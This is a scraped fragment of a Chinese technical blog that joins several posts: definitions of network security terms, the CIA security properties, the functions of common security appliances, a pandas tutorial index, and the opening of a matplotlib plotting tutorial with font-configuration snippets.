勒索软件是一种恶意软件（恶意软件），它对PC或移动设备上的所有数据进行加密，从而阻止数据所有者对其进行访问。感染发生后，受害者会收到一条消息，告知他/她必须支付一定数量的钱（通常以比特币支付）才能获得解密密钥。通常，支付赎金也有时间限制。如果受害者支付赎金，则不能保证解密密钥会被移交。最可靠的解决方案是至少在三个不同的位置备份数据（以确保冗余），并使这些备份保持最新状态，这样您就不会失去重要的进展。\n社会工程学（Social engineering） 操纵人们执行特定的动作或泄露对攻击者有用的信息。操纵策略包括谎言，心理技巧，贿赂，勒索，假冒和其他类型的威胁。社交工程通常用于提取数据并获得对信息系统的未授权访问，这些信息系统可以是单个私人用户，也可以是组织的信息系统。\n三、防护技术类 访问控制（Access Control） 访问控制是按用户身份及其所归属的某项定义组来限制用户对某些信息项的访问，或限制对某些控制功能的使用的一种技术。\n防火墙（Firewall） 网络或设备周围的虚拟边界，用于保护网络或设备免受不必要的访问。可以是硬件或软件。\n入侵防御系统（Intrusion Prevention System） 是一部能够监视网络或网络设备的网络资料传输行为的计算机网络安全设备，能够及时的中断、调整或隔离一些不正常或是具有伤害性的网络资料传输行为。\n防毒软件(Antivirus) 防病毒软件用于监视计算机或网络，以检测从恶意代码到恶意软件的网络安全威胁。防病毒程序不仅可以警告您威胁的存在，还可以删除或消除恶意代码。\n蜜罐（蜜网）Honeypot (honeynet) 诱骗系统或网络，用于吸引潜在的攻击者，通过检测攻击或使攻击发生偏转来保护实际系统。一个学习攻击方式的好工具。多个蜜罐可以组成一个蜜网。\n安全信息和事件管理（SIEM） 用于监视，记录，提供警报和分析安全事件以支持威胁检测和事件响应的软件。\n安全监控（Security monitoring） 从一系列安全系统中收集数据，并将这些信息与威胁情报进行关联和分析，以识别出受到威胁的迹象。\n四、检测技术类 入侵检测（Instrusion Detection） 是一种对网络传输进行即时监视，在发现可疑传输时发出警报或者采取主动反应措施的网络安全设备。\n漏洞扫描（Vulnerability Scanning） 是对网络设备及应用服务的可用性、安全性与合规性等进行扫描，发现可利用漏洞的一种安全检测（渗透攻击）行为。\n威胁分析（Threat analysis） 对单个威胁的特征进行详细评估。\n五、响应/恢复技术类 应急响应（Emergency Response） 应急响应通常是指一个组织为了应对各种意外事件的发生所做的准备工作以及在突发事件发生时或者发生后所采取的措施。\n灾难恢复（Disaster Recovery） 灾难恢复也称灾备，指自然或人为 灾害 后，重新启用 信息系统 的 数据 、 硬件 及 软体 设备，恢复正常商业运作的过程。\n备份文件（Backup files） 一种用户以后数据恢复的文件\n备份（Backup） 为应付文件、数据丢失或损坏等可能出现的意外情况，将电子计算机存储设备中的数据复制到磁带等大容量存储设备中。从而在原文中独立出来单独贮存的程序或文件副本。\n应急预案（Contingency plan） 一种关于备份、应急响应和灾后恢复的计划。\n灾难恢复计划（Disaster recovery plan） 信息系统灾难恢复过程中所需要的任务、行动、数据和资源的文件，用于指导相关人员在预定的灾难恢复目标内恢复系统系统支持的关键业务功能。\n六、评测技术类 评价方案（Evaluation scheme） 针对一个特定的团体，由某一评价机构根据指定标准制定的行政管理的与规章制度的框架。\n渗透测试（Penetration testing） 一种旨在探查和暴露信息系统中的安全性弱点以便对其进行修复的测试。\n质量评价（Quality evaluation） 对实体满足规定要求程度而进行的系统性检查\n威胁评估（Threat assessment） 识别或评估具有或表明可能危害生命，信息，操作和/或财产的实体，动作或事件（自然或人为）的产品或过程。\n作者博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-03-22-%E7%BD%91%E7%BB%9C%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E5%B8%B8%E7%94%A8%E6%9C%AF%E8%AF%AD/","summary":"\u003cp\u003e网络信息安全术语是获取网络安全知识和技术的重要途径，常见的网络安全术语可以分为基础技术类、风险评估技术类、防护技术类、检测技术类、响应/恢复技术类、测评技术类等。\u003c/p\u003e","title":"网络信息安全常用术语"},{"content":"常见的网络信息安全基本属性主要有机密性、完整性、可用性、不可抵赖性和可控性等，其中机密性（Confidentiality）、完整性（Integrity）、可用性（Availability）被称为网络信息系统核心的CIA安全属性，此外还有其他的安全属性包括：真实性、时效性、合规性、隐私性等。\n机密性 机密性（Confidentiality）是指网络信息不泄露给非授权的用户、实体或程序，能够防止非授权者获取信息。这些信息不仅包括国家机密，也包括企业和社会团体的商业机密和工作机密，还包括个人信息。例如，网络信息系统上传递口令敏感信息，若一旦攻击者通过监听手段获取到，就有可能危及网络系统的整体安全。人们在应用网络时很自然地要求网络能提供保密性服务，而被保密的信息既包括在网络中传输的信息，也包括存储在计算机系统中的信息。就像电话可以被窃听一样，网络传输信息也可以被窃听，解决的办法就是对传输信息进行加密处理。存储信息的机密性主要通过访问控制来实现，不同用户对不同数据拥有不同的权限。\n完整性 完整性（Integrity）是指网络信息或系统未经授权不能进行改变的特性。即信息在存储或传输过程中保持不被修改、不被破坏和丢失的特性。数据的完整性是指保证计算机系统上的数据和信息处于一种完整和未受损害的状态，这就是说数据不会因为有意或无意的事件而被改变或丢失。除了数据本身不能被破坏外，数据的完整性还要求数据的来源具有正确性和可信性，也就是说需要首先验证数据是真实可信的，然后再验证数据是否被破坏。影响数据完整性的主要因素是人为的蓄意破坏，也包括设备的故障和自然灾害等因素对数据造成的破坏。\n可用性 可用性（Availability）是指合法许可的用户能够及时获取网络信息或服务的特征，即可授权实体或用户访问并按要求使用信息的特性。简单地说，就是保证信息在需要时能为授权者所用，防止由于主客观因素造成的系统拒绝服务。例如，网站能够给用户提供正常的网页访问服务，防止拒绝服务攻击。\n不可抵赖性 不可抵赖性也称不可否认性。是指防止网络信息系统相关用户否认其活动行为的特性。在信息交换过程中，确信参与方的真实同一性，即所有参与者都不能否认和抵赖曾经完成的操作和承诺。简单地说，就是发送信息方不能否认发送过信息，信息的接收方不能否认接收过信息。利用信息源证据可以防止发信方否认已发送过信息，利用接收证据可以防止接收方事后否认已经接收到信息。数据签名技术是解决不可否认性的重要手段之一。\n可控性 可控性是指网络信息系统责任主体对其具有管理、支配能力的属性，能够根据授权规则对系统进行有效掌握和控制，使得管理者有效地控制系统的行为和信息的使用，符合系统运行目标。是人们对信息的传播路径、范围及其内容所具有的控制能力，如：不允许不良内容通过公共网络进行传输，使信息在合法用户的有效掌控之中\n其他 除常见的网络信息系统安全特性，还有真实性、时效性、合规性、公平性、可靠性、可生存性和隐私性等，这些安全特性适用于不同类型的网络信息系统，其要求程度有所差异。\n1.真实性 真实性是指网络空间信息与实际物理空间、社会空间的客观事实保持一致性。如，网络谣言信息不符合真实情况，违背了客观事实。\n2.时效性 时效性是指网络空间信息、服务及系统能够满足时间约束要求。如，汽车安全驾驶的智能控制系统要求信息具有实时性，信息在规定时间范围内才有效。\n3.合规性 合规性是指网络信息、服务及系统符合法律法规政策、标准规范等要求。如，网站内容如何法律法规政策要求等。\n4.公平性 公平性是指网络信息系统相关主体处于同等地位处理相关任务，任何一方不占据优势的特性要求。如，电子合同签订双方符合公平性要求，在同一时间签订合同。\n5.可靠性 可靠性是指网络信息系统在规定条件及时间下，能够有效完成预定的系统功能的特性。\n6.可生存性 可生存性是指网络信息系统在安全受损的情形下，提供最小化、必要的服务功能，能够支撑业务继续运行的安全特性。\n7.隐私性 隐私性是指有关个人的敏感信息不对外公开的安全属性，如个人的身份证号码、住址、电话号码、工资收入、疾病状况、社交关系等。\n网络攻击是指损害网络系统安全属性的危害行为。危害行为导致网络系统的机密性、可用性、可控性、真实性、抗抵赖性等受到不同程度的破坏。常见的危害行为有四个基本类型：\n信息泄露攻击； 完整性破坏攻击； 拒绝服务攻击； 非法使用攻击。 本文整理自《信息安全工程师教程第2版》\n作者博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-03-17-%E7%BD%91%E7%BB%9C%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E5%9F%BA%E6%9C%AC%E5%B1%9E%E6%80%A7/","summary":"\u003cp\u003e常见的网络信息安全基本属性主要有机密性、完整性、可用性、不可抵赖性和可控性等，其中\u003cstrong\u003e机密性（Confidentiality）、完整性（Integrity）、可用性（Availability）被称为网络信息系统核心的CIA安全属性\u003c/strong\u003e，此外还有其他的安全属性包括：真实性、时效性、合规性、隐私性等。\u003c/p\u003e","title":"网络信息安全基本属性"},{"content":"随着网络技术发展，网络威胁无孔不入，网络攻击手段呈现复杂性及多变性的趋势。要建立防御体系应从通信网络、网络边界、局域网络内部、各种业务应用平台等各个层次落实各种安全措施，形成纵深防御体系。单靠一种或几种安全设备就想保护整个网络是不可能的事情。因此，为了满足不同防护需求的安全设备应运而生。有的设备是为了严防非授权访问。有的设备是为了实时检测，拦截攻击行为。有的设备是为了自查自审，发现自身存在的问题。每一种安全设备分工都不同，设备缺失肯定会使防御体系失效造成安全隐患。\n本文介绍常用的安全设备及其能力\n网络安全审计 网络安全审计通过对网络数据的采集、分析、识别，实时动态监测通信内容、网络行为和网络流量，发现和捕获各种敏感信息、违规行为，实时报警响应，全面记录网络系统中的各种会话和事件，实现对网络信息的智能关联分析、评估及安全事件的准确定位，为整体网络安全策略的制定提供权威可靠的支持。\n内容审计 可对网页内容、邮件、数据库操作、论坛、即时通讯等提供完整的文本、图片和音视频内容检测、信息还原功能；并可自定义关键字库，进行细粒度的审计追踪。 行为审计 根据设定的行为审计策略，对网站访问、邮件收发、数据库访问、远程终端访问、文件上传下载、即时通讯、论坛、移动应用、在线视频、P2P 下载、网络游戏等网络应用行为进行监测，对符合行为策略的事件实时告警并记录。 流量审计 支持基于智能协议识别的流量分析功能；实时统计出当前网络中的各种协议流量，进行综合流量分析，提供详细的流量报表；可以统计指定协议流量的IP TOP N，为流量管理策略的制定提供可靠支持。 漏洞扫描 通过漏洞扫描全面发现信息系统存在的安全漏洞、安全配置问题、应用系统安全漏洞，检查系统存在的弱口令，收集系统不必要开放的账号、服务、端口，形成整体安全风险报告。\n全面系统脆弱性发现 能够全方位检测系统存在的脆弱性，发现信息系统存在的安全漏洞、安全配置问题、应用系统安全漏洞，检查系统存在的弱口令，收集系统不必要开放的账号、服务、端口，形成整体安全风险报告，帮助安全管理人员先于攻击者发现安全问题，及时进行修补。 风险统一分析 支持全方位的安全漏洞、安全配置、应用系统安全漏洞扫描，通过安全风险计算方法，对网络系统中多个方面的安全脆弱性统一进行分析和风险评估，给出总体安全状态评价，全面掌握信息系统安全风险。 识别非标准端口 应用先进的非标准端口识别技术、以及丰富的协议指纹库，能够快速准确的识别非标准端口上的应用服务类型，并进一步进行漏洞检测，避免扫描过程中的漏报和误报。 漏洞、配置知识库 依托安全知识库，涵盖所有主流基础系统、应用系统、网络设备等网元对象，提供系统 的配置检查库，提供专业安全厂商的加固修补建议，以及多个行业的安全配置检查标准。 Web漏洞扫描 定位于Web 脆弱性评估，实现全面Web 应用安全检测。帮助用户全面发现Web 漏洞，准确掌控网站风险，深度跟踪漏洞态势，提升快速响应能力。\n漏洞扫描及验证 支持系统漏洞扫描以及Web 漏洞扫描，支持Web 应用漏洞分类，全面覆盖OWASP TOP10 应用风险，高中危漏洞专家级验证。 网站挂马及黑链检测 依托沙箱检测技术，识别网站页面中的恶意代码，对潜藏在用户网页中的黄赌毒私服等广告黑链进行周期性检测，并将挂马及黑链情况及时邮件提醒。 网站篡改检测 依托相似度对比技术，识别网页变更状态，并通知用户。 网页敏感内容检测 依托于敏感内容词库，识别网页中的敏感内容，并邮件提醒。 可用性检测及 DNS 解析检测 依托多个检测节点，多条检测线路，识别网站运营是否稳定的问题，并邮件提醒。 堡垒机 针对云主机、云数据库、网络设备等的运维权限、运维行为进行管理和审计。主要解决云上IT运维过程中操作系统账号复用、数据泄露、运维权限混乱、运维过程不透明等难题。\n登录功能 支持对X11、linux、unix、数据库、网络设备、安全设备等一系列授权账号进行密码的自动化周期更改，简化密码管理，让使用者无需记忆众多系统密码，即可实现自动登录目标设备，便捷安全。 账号管理 支持统一账户管理策略，能够实现对所有服务器、网络设备、安全设备等账号进行集中管理，完成对账号整个生命周期的监控，并且可以对设备进行特殊角色设置如：审计巡检员、运维操作员、设备管理员等自定义设置，以满足审计需求。 身份认证 提供统一的认证接口，对用户进行认证，支持身份认证模式包括动态口令、静态密码、硬件key、生物特征等多种认证方式，设备具有灵活的定制接口，可以与其他第三方认证服务器之间结合；安全的认证模式，有效提高认证的安全性和可靠性。 资源授权 提供基于用户、目标设备、时间、协议类型IP、行为等要素实现细粒度的操作授权，最大限度保护用户资源的安全。 访问控制 支持对不同用户进行不同策略的制定，细粒度的访问控制能够最大限度的保护用户资源的安全，严防非法、越权访问事件的发生。 操作审计 能够对字符串、图形、文件传输、数据库等全程操作行为审计；通过设备录像方式实时监控运维人员对操作系统、安全设备、网络设备、数据库等进行的各种操作，对违规行为进行事中控制。对终端指令信息能够进行精确搜索，进行录像精确定位。 日志审计 日志审计是针对大量分散设备的异构日志进行高效采集、统一管理、集中存储、统计分析，可协助企业满足等保合规要求、高效统一管理资产日志并为安全事件的事后取证据供依据。\n安全日志源管理 按照需要接入的日志源数量进行服务，提供多种日志接入方式，支持主动、被动采集。 日志采集 提供全面的日志采集能力：支持第三方安全设备、网络设备、数据库、windows/linux主机日志、web 服务器日志、虚拟化平台日志以及自定义等日志；提供强大的数据源管理功能:支持数据源的信息展示与管理、采集器的信息展示与管理以及agent 的信息展示与管理；提供分布式外置采集器、Agent 等多种日志采集方式；支持IPv4、IPv6 日志采集、分析以及检索查询。 日志存储 提供原始日志、范式化日志的存储，可自定义存储周期。 日志检索 提供丰富灵活的日志查询方式，支持全文.key-value、多kv布尔组合、括弧、正则、模糊等检索；提供便捷的日志检索操作，支持保存检索、从已保存的检索导入见多条件等。 报表管理 支持丰富的内置报表以及灵活的自定义报表模式，支持编辑报表的目录接口、引用统计项、设置报表标题、展示页眉和页码、报表配置基本内容（名称、描述等）；支持实时报表、定时报表、周期性任务报表等方式；支持html、pdf、word 格式的报表文件以及报表logo 的灵活配置。 日志分析 支持对各类应用系统产生的各类日志的分析功能。 数据库审计 数据库审计能够实时记录网络上的数据库活动，对数据库操作进行细粒度审计的合规性管理，对数据库遭受到的风险行为进行告警，对攻击行为进行阻断。通过对用户访问数据库行为的记录、分析和汇报，用来帮助用户事后生成合规报告、事故追根溯源，同时加强内外 部数据库网络行为记录，提高数据资产安全。\n实时告警 风险操作：支持通过操作类型、操作对象、风险等级等多种元素细粒度定义要求监控的风险操作行为。 SQL 注入：数据库安全审计提供SQL 注入库，可以基于SQL 命令特征或风险等级，发现数据库异常行为立即告警。 系统资源：当系统资源（CPU、内存和磁盘）占用率达到设置的告警阈值时立即告警。 多维度线索分析 行为线索：支持审计时长、语句总量、风险总量、风险分布、会话统计、SQL 分布等多维度的快速分析。 会话线索：支持根据时间、数据库用户、客户端等多角度进行分析。 语句线索：提供时间、风险等级、数据用户、客户端IP、数据库IP、操作类型、规则等多种语句搜索条件。 用户行为发现审计 关联应用层和数据库层的访问操作：提供内置或自定义隐私数据保护规则，防止审计日志中的隐私数据（例如，账号密码）在控制台上以明文显示。 精细化报表 会话行为：提供客户端和数据库用户会话分析报表。 风险操作：提供风险分布情况分析报表。 合规报表：提供满足数据安全标准（例如Sarbanes-Oxley）的合规报告。 网页防篡改 网页防篡改是针对网站篡改攻击的防护，通过文件底层驱动技术对Web站点目录提供全方位的保护，为防止黑客、病毒等对目录中的网页、电子文档、图片、数据库等任何类型的文件进行非法篡改和破坏提供解决方案。\n篡改防护 同时对多台网站服务器文件，对同一台服务器内的多个web server，对同一web server内的多个virtual host进行防篡改；异地（非网站目录）保留篡改后页面快照，支持网站篡改检测；保护防篡改内嵌模块和守护进程。 防篡改分析 支持页面文件/结构/元素的哈希（MD5）值篡改检测、图片相似性比较。 攻击防护 能够防止SQL 数据库注入式攻击；能够防止跨站脚本漏洞；能够防止网站盗链。 发布备份 支持内容发布；支持实时同步；支持手动同步；可按照条件（按时间戳前，后，区间；按子文件夹；按WEB 服务器）；支持双机热备功能；实体间通信采用SSL 加密。 日志告警 保存系统日志；文件传输日志；支持篡改告警、SQL 注入告警、盗链告警，告警通知 支持手机短信通知、邮件通知、管理界面警示框；可通过图形报表综合统计和分析。 入侵检测系统 入侵检测系统是一种对网络传输进行即时监视，在发现可疑传输时发出警报或者采取主动反应措施的网络安全系统。根据预先设定的安全策略，它是一种积极主动的安全防护技术。\n敏感数据外发检测 能够识别并检测特定格式文件的外发，同时能够检测出文件中包含的敏感数据，进行告 警，保护企业敏感数据，防止敏感数据泄露造成的损失。 客户端攻击检测 增加针对主流客户端应用程序的攻击签名规则，如Word、Excel、PDF、Firefox 等，增强客户终端应用程序的安全检测能力。 服务器非法外联检测 通过服务器的自学习功能或手动设置服务器正常外联行为，建立合法连接，能够检测服务器异于该合法连接的非法外联行为，及时产生告警信息通知网络管理人员，从而检测是否存在跳转等攻击行为。 僵尸网络检测 基于实时的信誉机制，结合企业级和全球信誉库，可有效检测恶意URL、僵尸网络，保护用户在访问被植入木马等恶意代码的网站地址时不受侵害，有效检测Web 威胁，并能及时发现网络中可能出现的僵尸网络主机和C\u0026amp;C 连接。 Web应用防火墙 基于对Web 流量的解码和分析，可应对Web 应用中的各类攻击，如SQL 注入、XSS注入、跨站请求伪造攻击、Cookie 篡改以及应用层Web 攻击等，能有效解决网页挂马、敏感信息泄露等安全问题，充分保障Web应用安全。通过精细的配置将多种Web安全检测方法连结成一套完整的安全体系，能够在IPv4、IPv6 及二者混合环境中抵御OWASP Top 10等各类Web安全威胁，通过服务化方式快速交付，保卫Web 应用免遭当前和未来的安全威胁。\nWeb 应用攻击防护 内置多种防护策略，可选择进行 SQL 注入、XSS 攻击、命令注入、非法HTTP 协议请求、常见Web 服务器漏洞攻击、扫描防护等。 Web 漏洞 Web 服务器漏洞探测，Web 服务器漏洞扫描（模拟攻击，判断缺陷，自动配置对应规则），及时发现漏洞隐患。 注入攻击防护 SQL 注入防御、LDAP 注入防御、命令注入防护（OS 命令，webshell 等）、XPath 注入防御、Xml/Json 注入防御。 IP 访问控制 支持对指定IP 的加白和恶意IP 的封禁。 URL 访问控制 支持对URL 进行黑白名单控制。 爬虫防护 基于源IP 周期判断访问数，防护恶意访问。 下一代防火墙 下一代防火墙采用高度一体化的架构设计方案，将所有的安全特性纳入到一体化的安全引擎。将传统五元组访问控制与具有下一代防火墙特征能力有机地结合起来，提供一个全新的网络边界防护解决方案。\n应用、用户识别能力 可识别大部分应用，并可辅助用户对这些应用进行高效管理和筛查，包括5 维度分类组织，基于特性查询应用、自定义特殊应用等。 监控统计 对设备数据进行统计，并以柱状图、折线图、表格、报表、日志等方式呈现出来，帮助用户通过统计数据掌握设备状况，排查问题。 用户认证 对用户进行识别，通过认证的用户可以访问对应的管理资源。 访问控制 划分安全区域和非安全区域，区域之间的访问基于安全策略进行控制。 入侵防御 实时监控多种网络攻击并根据配置对网络攻击进行阻断等操作。 病毒过滤 探测各种病毒威胁，例如恶意软件、恶意网站等，并且根据配置对发现的病毒进行处理。 DNS 重定向 支持对某一域名重定向到另一域名的功能。 页面访问控制 针对不同用户的权限对页面的访问进行区别。 带宽管理 能够管理和优化网络带宽，提高用户的网络体验和带宽资源利用率。 云沙箱 基于云端架构的恶意软件虚拟运行环境，发现未知威胁，多重静态检测引擎快速过滤正常文件及已知威胁，提升沙箱检测效率。 僵尸网络 C\u0026amp;C 防护 监控 C\u0026amp;C 连接发现内网肉鸡，阻断僵尸网络/勒索软件等高级威胁进一步破坏。 IP 信誉库 识别过滤各种已知风险 IP，根据配置对风险IP 进行记录或阻断处理。 封账号 支持对网络账户封停的功能。 包过滤 支持对网络中的数据包的区分和限制功能。 授权管理 集中管理功能授权并可进行不同种类授权的统一下发。 传统防火墙功能特性 兼容传统防火墙功能特性，包括访问控制、日志报表、会话管理等。 入侵防护系统 入侵防护系统是一个监视网络或网络设备的网络资料传输行为的系统，能够深入网络数据内部，即时中断、调整或隔离一些有害数据流。入侵防护系统可主动拦截黑客攻击、据虫、网络病毒、后门木马、DoS 等恶意流量，保护企业信息系统和网络架构免受侵害，防止操作 系统和应用程序损坏或宕机。\n敏感数据保护 提供敏感数据识别、数据安全审计、数据脱敏、智能异常检测等数据安全能力，形成一体化的数据安全解决方案。 高级威胁防御 高级威胁防御能够基于敏感数的外泄、文件识别、服务器非法外联等异常行为检测，实现内网的高级威胁防御功能。 恶意文件防御 网络中存在大量恶意文件，通过网站文件服务器、邮件服务器实现传播，对企业网络安全构成潜在威胁。对网络中传送的文件，进行快速检测，比对文件信誉，对发现恶意的文件进行告警和阻断。 网址/网站检测分析 支持对网站的URL 进行检测，并分析其是否是恶意网能力。 防病毒 防病毒可以对计算机病毒、木马和恶意软件等一切已知的对计算机有危害的程序代码进行清除，提供终端查杀病毒、软件管理、漏洞补丁、统一升级管理等功能。\n安全防御 能够精准识别、分析及响应病毒传播、0day 攻击及APT 攻击等异常行为。\n主机防火墙 支持对IP、端口协议及访问方向等维度过滤，能智能识别网络协议，同时可通过IP 黑 白名单，控制终端只能访问指定目标地址，或指定来源IP 地址访问。\n漏洞加固 实时扫描记录终端的操作系统及常用应用软件漏洞，掌握全网终端漏洞情况及补丁修复。\n勒索病毒防御 基于HIPS 的勒索者主动防御机制，蠕虫病毒、勒索病毒、宏病毒等已知未知威胁防范无忧。\n安全审计 对攻击、病毒及漏洞等终端运行信息，以及上网行为、U 盘使用及文件操作等终端行为信息进行统一收集。\n软件管理 记录全网安装软件清单以及每种软件安装的终端明细，以及软件使用时长。\n流量管控 对终端流量管理包括总流量、上行及下行等管理，同时支持升级下载及日志上传等细粒度的流量管理。\n终端检测与响应 利用终端检测响应，对终端的运行状态进行检测和监控，对进程、文件和配置等进行分析，对异常行为进行处理，确保主机安全，从而实现东西向防护。\n病毒及恶意程序防护 基于文件动作行为特征模型分析查杀，主动防御型查杀，文件黑白名单管理，文件多算法(MD5、SHA1、SHA256)校验。 攻击与威胁防护 检测模式，拦截模式，支持端口扫描、泛洪攻击、TCP 洪水攻击、漏洞攻击、注册表安全检测等。 主机网络访问隔离 基于主机维度，定义出入站网络访问，能自定义网络访问对象和端口对象，并记录违规访问日志，可追溯网络访问发起的进程及进程详细路径和进程文件安全性。 终端环境强控 通过设定终端运行的白环境，达到除白名单外的文件无法运行。 安全基线检查 同时含盖 Windows 和Linux 平台，支持帐号与口令检查、密码生存周期检查、远程登录检查、网络与服务检查、日志审计检查、防火墙检查、系统安全配置检查等内容，核查项完全满足工信部等单位要求。 沙箱防护 云端沙箱检查结果查询，用户本地上传文件至沙箱。 作者博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-03-07-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%B9%8B%E5%B8%B8%E7%94%A8%E5%AE%89%E5%85%A8%E8%AE%BE%E5%A4%87%E5%8A%9F%E8%83%BD%E5%8F%8A%E4%BD%9C%E7%94%A8/","summary":"\u003cp\u003e随着网络技术发展，网络威胁无孔不入，网络攻击手段呈现复杂性及多变性的趋势。要建立防御体系应从通信网络、网络边界、局域网络内部、各种业务应用平台等各个层次落实各种安全措施，形成纵深防御体系。单靠一种或几种安全设备就想保护整个网络是不可能的事情。因此，为了满足不同防护需求的安全设备应运而生。有的设备是为了严防非授权访问。有的设备是为了实时检测，拦截攻击行为。有的设备是为了自查自审，发现自身存在的问题。每一种安全设备分工都不同，设备缺失肯定会使防御体系失效造成安全隐患。\u003c/p\u003e","title":"网络安全之常用安全设备功能及作用"},{"content":"\nPandas 是一个开源的第三方 Python 库，从 Numpy 和 Matplotlib 的基础上构建而来，享有数据分析“三剑客之一”的盛名（NumPy、Matplotlib、Pandas）。是学习数据分析、AI机器学习必学组件之一。 Pandas 这个名字来源于面板数据（Panel Data）与数据分析（data analysis）这两个名词的组合。在经济学中，Panel Data 是一个关于多维数据集的术语。Pandas 对数据的处理是为数据的分析服务的，它所提供的各种数据处理方法、工具是基于数理统计学出发，包含了日常应用中的众多数据分析方法。\nPandas 可以实现复杂的处理逻辑，这些往往是 Excel 等工具无法处理的，还可以自动化、批量化，对于相同的大量的数据处理我们不需要重复去工作。Pandas 的出现使得 Python 做数据分析的能力得到了大幅度提升，它主要实现了数据分析的五个重要环节：\n加载数据 整理数据 操作数据 构建数据模型 分析数据 主要特点\n它提供了一个简单、高效、带有默认标签（也可以自定义标签）的 DataFrame 对象。 能够快速得从不同格式的文件中加载数据（比如 Excel、CSV 、SQL文件），然后将其转换为可处理的对象； 能够按数据的行、列标签进行分组，并对分组后的对象执行聚合和转换操作； 能够很方便地实现数据归一化操作和缺失值处理； 能够很方便地对 DataFrame 的数据列进行增加、修改或者删除的操作； 能够处理不同格式的数据集，比如矩阵数据、异构数据表、时间序列等； 提供了多种处理数据集的方式，比如构建子集、切片、过滤、分组以及重新排序等。 本教程梳理了快速入门pandas的一些知识点。\n一、pandas数据结构(Series和DataFrame)\n二、pandas数据加载(csv、excel、json、mysql、webAPI)\n三、pandas基本操作之数据访问(查看与检索)\n四、pandas数据分析之排序和排名(sort和rank)\n五、pandas数据清洗之处理缺失、重复、异常数据\n六、pandas数据处理之数据转换(映射map、替换replace、重命名rename)\n七、pandas数据分析之数据运算(逻辑运算、算术运算、统计运算、自定义运算)\n八、pandas数据处理之合并与拼接\n九、pandas数据分析之分组聚合\n十、pandas数据分析之数据重塑透视(stack、unstack、melt、pivot)\n十一、pandas数据分析之数据绘图\n学习pandas最好的资料肯定是pandas的官网 https://pandas.pydata.org/docs/user_guide/index.html\n书籍推荐pandas的作者写的《利用python进行数据分析》\n本教程作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-02-23-pandas%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8%E6%8C%87%E5%8D%97/","summary":"\u003cp\u003e\u003cimg alt=\"pandas\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2022/20220223/pandas_logo.png\"\u003e\u003c/p\u003e\n\u003cp\u003ePandas 是一个开源的第三方 Python 库，从 Numpy 和 Matplotlib 的基础上构建而来，享有数据分析“三剑客之一”的盛名（NumPy、Matplotlib、Pandas）。是学习数据分析、AI机器学习必学组件之一。\nPandas 这个名字来源于面板数据（Panel Data）与数据分析（data analysis）这两个名词的组合。在经济学中，Panel Data 是一个关于多维数据集的术语。Pandas 对数据的处理是为数据的分析服务的，它所提供的各种数据处理方法、工具是基于数理统计学出发，包含了日常应用中的众多数据分析方法。\u003c/p\u003e","title":"pandas快速入门指南"},{"content":"一图胜千言，将信息可视化（绘图）是数据分析中最重要的工作之一。它除了让人们对数据更加直观以外，还可以帮助我们找出异常值、必要的数据转换、得出有关模型的想法等等。pandas 在数据分析、数据可视化方面有着较为广泛的应用。本文将通过实例介绍pandas的数据绘图。 pandas的数据可视化依赖于matplotlib模块的pyplot类，matplotlib在安装Pandas会自动安装。Matplotlib可以对图形做细节控制，绘制出出版质量级别的图形，通过Matplotlib，可以简单地绘制出常用的统计图形。pandas 对 Matplotlib 绘图软件包的基础上单独封装了一个plot()接口，通过调用该接口可以实现常用的绘图操作。 让我们先来认识mataplotlib图形的基本构成。\n一、matplotlib图形基本构成 1 2 3 4 import matplotlib.pyplot as plt import numpy as np data=np.arange(10) plt.plot(data) 通过引入matplotlib模块的pyplot类，将数据传入plot()的接口，就可以将数据以图形化的方式展示出来。Matplotlib 生成的图形主要由以下几个部分构成： Figure：指整个图形，您可以把它理解成一张画布，它包括了所有的元素，比如标题、轴线等； Axes：绘制 2D图像的实际区域，也称为轴域区，或者绘图区； Axis：指坐标系中的垂直轴与水平轴，包含轴的长度大小（图中轴长为 7）、轴标签（指 x轴，y轴）和刻度标签； Artist：在画布上看到的所有元素都属于 Artist对象，比如文本对象（title、xlabel、ylabel）、Line2D 对象（用于绘制2D图像）等。 了解matplotlib图形的基本构成非常重要，绘图就是通过matplotlib提供的方法来定义和设置这些基本图形的构成元素来将数据显示在这些元素中。\n二、matplotlib显示中文 Matplotlib 默认不支持中文字体，这因为 Matplotlib 只支持 ASCII 字符，但中文标注更加符合中国人的阅读习惯。下面介绍如何在 Windows 环境下让 Matplotlib 显示中文。\n1、方法一：临时重写配置文件（临时） 通过临时重写配置文件的方法，可以解决 Matplotlib 显示中文乱码的问题，代码如下所示：\n1 2 3 import matplotlib.pyplot as plt plt.rcParams[\u0026#34;font.sans-serif\u0026#34;]=[\u0026#34;SimHei\u0026#34;] #设置字体 plt.rcParams[\u0026#34;axes.unicode_minus\u0026#34;]=False #该语句解决图像中的“-”负号的乱码问题 2、方法二：修改配置文件 （永久） 通过直接修改配置文件的方法，可以一劳永逸的解决 Matplotlib 的中文乱码问题。注意此过程在 Windows 环境下进行。 Matplotlib 从配置文件 matplotlibrc 中读取相关配置信息，比如字体、样式等，因此我们需要对该配置文件进行更改。使用如下代码查看 matplotlibrc 所在的目录：\n1 2 import matplotlib matplotlib.matplotlib_fname() 打开配置文件后，找到以下信息： #font.family: sans-serif #font.serif: DejaVu Serif, Bitstream Vera Serif, Computer Modern Roman, New Century Schoolbook, Century Schoolbook L, Utopia, ITC Bookman, Bookman, Nimbus Roman No9 L, Times New Roman, Times, Palatino, Charter, serif 修改配置将#注释去掉，并将微软雅黑Microsoft YaHei的字体给加上。 最后，在windows的字体目录中复制中文字体微软雅黑： C:\\Windows\\Fonts\\Microsoft YaHei UI 将微软雅黑的字体复制粘贴到matplotlib的字体库中，字体库路径就在matplotlibrc 所在的目录下 D:\\Anaconda3\\Lib\\site-packages\\matplotlib\\mpl-data\\fonts\\ttf 如果是jupyter notbook重启启动jupyter notbook让它重新读取配置文件即可。\n三、pandas绘图 